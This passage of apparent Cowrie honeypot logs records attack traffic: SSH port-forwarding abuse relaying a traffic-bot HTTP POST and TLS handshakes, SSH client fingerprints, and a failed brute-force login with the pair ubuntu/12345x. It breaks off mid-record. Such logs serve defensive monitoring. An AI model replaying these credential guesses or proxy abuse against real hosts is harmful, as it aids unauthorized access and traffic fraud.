{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:18.145481Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; TB-X306X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dWtsOGtIPDU0JSZwPjB6bA%3D%3D6jirRphl5SpNVD3n6%2BSzn8wggIjUeVgVnKC2FmfzEWWxwZ10gDXTYcJTCKszhdfoc5AcXZPaPo9gyiJ2%2F%2FvGyljIx8r0GP6n8xz9QbD8xONAkmJLlMBQA%2Fht5fqpzV%2BThZIWWiZv7yWciKw20Xj51HQJjV%2B2ssTZYM2ie9S0QBw0zJHmUqqFKeBWTH7wM%2FGO9Jqbg0Tb1BOJGJCxdMBFBTK2CzjJqq6NqJr%2BLsgrkoxQWa14OcZ3RiE89cNdB7AILdXLdPb3axOYiH%2BNwU0ZiKjOucpWR0suDlNi%2Bbtl9CvaD2cjwOGPMQMaJ9N%2BAAwNrRSS9qChsvl6hSk3ugMEMyXGqrUY1Xb2udE5BcUWQnq44dGyRNI%2FapwYhnt%2FkVgc8KRhEwdg452M6KRhLUhu6D7UJDYV3MptaYG6ksritJ%2FCijQxPc85PXddwzD8h2KqIly0MVRH6vwJMqqG4RKYI3WLEYHer0Cn6JG07GXfc290CGqwu4JX5oPaHLzH%2B7NLT%2Ft6Yz%2BJAowzVBXJdVR6FPqV3xeIocaLib35IC82R%2BKQ3iX%2BEn8vAJ7BiXlyZyYC21vGkg2pUZqH1BTSTUFNmWdbjRLpOLfHXiBo0oYbdHS2WCaw%2FwBGnJS5E%2B%2FlOyXWUvOpikWPRlYAT2Y9EBq7HM9fkxvyAh1xoqMzfSBaGa%2BX0p52ans%2FLCeLIgertvRj%2F8vAlPrkwiihmIdnUTlGD1gMDjrxOzTwNA4nQMQ4WgjUmv62uVt3WdK2Iu8sUm7LnmAxWBcsqaLBsWPXKUhpOkjAK2sQcNilOtWeLeLvxCM4Zs%2F3x8JbvAKrbVx5eeeTz8L7e3ajl5Hh2rE1N6RNeFnuG%2FukkgSKaXGkoid0iQdKNveM0sPJhlPWLJWstuygdrBiM8rs%2BtkcN4IHLeSp%2BdlF%2F2Wjahxd4MCdJTYBbaoZIMEZX1FkuJsxnd1%2Bu8%2FvMcaKmDXDVETv6QDdhOprTww1DrSMYQv9Fj2h%2Fo7AMtv1G%2BE26IZfsht9Su3clVACWb3fGRzlfd%2BJ%2FKyyJdRqXs75M8daxrTb%2BWRaI1ZOgY54BrRfX8%2F1jRpDWSI1wOpS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; TB-X306X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dWtsOGtIPDU0JSZwPjB6bA%3D%3D6jirRphl5SpNVD3n6%2BSzn8wggIjUeVgVnKC2FmfzEWWxwZ10gDXTYcJTCKszhdfoc5AcXZPaPo9gyiJ2%2F%2FvGyljIx8r0GP6n8xz9QbD8xONAkmJLlMBQA%2Fht5fqpzV%2BThZIWWiZv7yWciKw20Xj51HQJjV%2B2ssTZYM2ie9S0QBw0zJHmUqqFKeBWTH7wM%2FGO9Jqbg0Tb1BOJGJCxdMBFBTK2CzjJqq6NqJr%2BLsgrkoxQWa14OcZ3RiE89cNdB7AILdXLdPb3axOYiH%2BNwU0ZiKjOucpWR0suDlNi%2Bbtl9CvaD2cjwOGPMQMaJ9N%2BAAwNrRSS9qChsvl6hSk3ugMEMyXGqrUY1Xb2udE5BcUWQnq44dGyRNI%2FapwYhnt%2FkVgc8KRhEwdg452M6KRhLUhu6D7UJDYV3MptaYG6ksritJ%2FCijQxPc85PXddwzD8h2KqIly0MVRH6vwJMqqG4RKYI3WLEYHer0Cn6JG07GXfc290CGqwu4JX5oPaHLzH%2B7NLT%2Ft6Yz%2BJAowzVBXJdVR6FPqV3xeIocaLib35IC82R%2BKQ3iX%2BEn8vAJ7BiXlyZyYC21vGkg2pUZqH1BTSTUFNmWdbjRLpOLfHXiBo0oYbdHS2WCaw%2FwBGnJS5E%2B%2FlOyXWUvOpikWPRlYAT2Y9EBq7HM9fkxvyAh1xoqMzfSBaGa%2BX0p52ans%2FLCeLIgertvRj%2F8vAlPrkwiihmIdnUTlGD1gMDjrxOzTwNA4nQMQ4WgjUmv62uVt3WdK2Iu8sUm7LnmAxWBcsqaLBsWPXKUhpOkjAK2sQcNilOtWeLeLvxCM4Zs%2F3x8JbvAKrbVx5eeeTz8L7e3ajl5Hh2rE1N6RNeFnuG%2FukkgSKaXGkoid0iQdKNveM0sPJhlPWLJWstuygdrBiM8rs%2BtkcN4IHLeSp%2BdlF%2F2Wjahxd4MCdJTYBbaoZIMEZX1FkuJsxnd1%2Bu8%2FvMcaKmDXDVETv6QDdhOprTww1DrSMYQv9Fj2h%2Fo7AMtv1G%2BE26IZfsht9Su3clVACWb3fGRzlfd%2BJ%2FKyyJdRqXs75M8daxrTb%2BWRaI1ZOgY54BrRfX8%2F1jRpDWSI1wOpS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:18.148334Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:18.432475Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8C\\xab\\x1fEY\\xcc\\x1b\\\\\\x9fe\\xa4\\x8a'\\x19\\xbf\\x023\\xdf\\xf9\\xcb\\xb2w\\xb3\\xa7\\x96\\xb7]\\xccLDV o\\x10ik\\x85Gq\\xa2g\\xfc yE\\x8e\\xf2\\xf6+\\x93ZA\\x89/ v\\x999Z\\xca\\xa4\\xed\\xabk\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa5\\xf5\\xfc/N\\x1d\\xb8fZ\\xfa,D\\xbf\\xcfhX'\\r\\x9aW!\\x8a\\xfe\\x0c\\x80\\x90|g<8\\x189\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8C\\xab\\x1fEY\\xcc\\x1b\\\\\\x9fe\\xa4\\x8a'\\x19\\xbf\\x023\\xdf\\xf9\\xcb\\xb2w\\xb3\\xa7\\x96\\xb7]\\xccLDV o\\x10ik\\x85Gq\\xa2g\\xfc yE\\x8e\\xf2\\xf6+\\x93ZA\\x89/ v\\x999Z\\xca\\xa4\\xed\\xabk\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa5\\xf5\\xfc/N\\x1d\\xb8fZ\\xfa,D\\xbf\\xcfhX'\\r\\x9aW!\\x8a\\xfe\\x0c\\x80\\x90|g<8\\x189\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:18.447540Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:19.006422Z","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:19.299545Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x80\\xfd\\xc9N\\xd7\\xa8\\x9f\\xfe\\xc4f\\'*\\x0e\\xe4B\\xb2\\x94\\xd7;\\xf7\\xa0\\x9b\\xafq,\\n3of4\\xfa \\xdd\\xe1(\\xa6Z\\x12\\x82\\x7fm\\xdbq\\xfd\\x9b\\xe6\\x01\\xae\\x9c\\xba)\\xd9\\x0b\\xdc\\xca\\xa2\\xb3\\xe8\\xc6\\x9aYD\\xb1U\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14\\xfdv\\x07y\\\\J\\x01\\x17Uc\\xa0\\x07Qy\\x83\\x15\\xf9\\x04\\x92F<\\xcb\\xff\\xcf\\x13b\\x177\\x92\\xa1)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x80\\xfd\\xc9N\\xd7\\xa8\\x9f\\xfe\\xc4f\\'*\\x0e\\xe4B\\xb2\\x94\\xd7;\\xf7\\xa0\\x9b\\xafq,\\n3of4\\xfa \\xdd\\xe1(\\xa6Z\\x12\\x82\\x7fm\\xdbq\\xfd\\x9b\\xe6\\x01\\xae\\x9c\\xba)\\xd9\\x0b\\xdc\\xca\\xa2\\xb3\\xe8\\xc6\\x9aYD\\xb1U\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14\\xfdv\\x07y\\\\J\\x01\\x17Uc\\xa0\\x07Qy\\x83\\x15\\xf9\\x04\\x92F<\\xcb\\xff\\xcf\\x13b\\x177\\x92\\xa1)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:19.302421Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:19.749825Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64136,"dst_ip":"159.203.135.109","dst_port":22,"session":"527b31202263","protocol":"ssh","message":"New connection: 91.92.40.36:64136 (159.203.135.109:22) [session: 527b31202263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:19.937709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:21.523230Z","src_ip":"91.92.40.36","session":"527b31202263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:21.526979Z","src_ip":"91.92.40.36","session":"527b31202263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345x","message":"login attempt [ubuntu/12345x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:22.297729Z","src_ip":"91.92.40.36","session":"234e6eb1e203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:25.193928Z","src_ip":"91.92.40.36","session":"234e6eb1e203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60362,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd60cdb31e9c","protocol":"ssh","message":"New connection: 91.92.40.36:60362 (159.203.135.109:22) [session: cd60cdb31e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:26.227969Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35724,"dst_ip":"159.203.135.109","dst_port":23,"session":"88787ea267f0","protocol":"telnet","message":"New connection: 172.81.62.90:35724 (159.203.135.109:23) [session: 88787ea267f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:28.377561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:28.729569Z","src_ip":"91.92.40.36","session":"cd60cdb31e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@